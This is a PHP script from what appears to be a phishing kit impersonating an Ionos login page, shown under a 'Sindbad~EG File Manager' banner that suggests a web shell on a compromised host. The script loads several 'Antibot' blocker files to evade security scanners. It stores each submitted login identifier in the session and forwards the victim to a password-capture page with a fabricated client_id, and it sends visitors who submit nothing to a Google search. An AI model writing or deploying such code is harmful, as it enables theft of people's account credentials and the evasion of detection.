Sindbad~EG File Manager

<?php
session_start();
error_reporting(0);
# Adding Settings
include('function.php');
include('../config.php');
include('../Antibot/pro.php');
include('../Antibot/blocker.php');
include('../Antibot/blocker_1.php');
include('../Antibot/blocker_2.php');
include('../Antibot/blocker_3.php');
include('../Antibot/blocker_4.php');

$useragent = $_SERVER['HTTP_USER_AGENT'];

$required = array('identifier');

$error = false;
foreach($required as $field) {
  if (empty($_POST[$field])) {
    $error = true;
  }
}
 
if ($error) {
  header('Location: https://www.google.com/search?q=Ionos+login');
} else {
# Logs

$_SESSION["userLoginId"] = $_POST['identifier'];


 header('Location: ../pass.php?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redir');
}
?>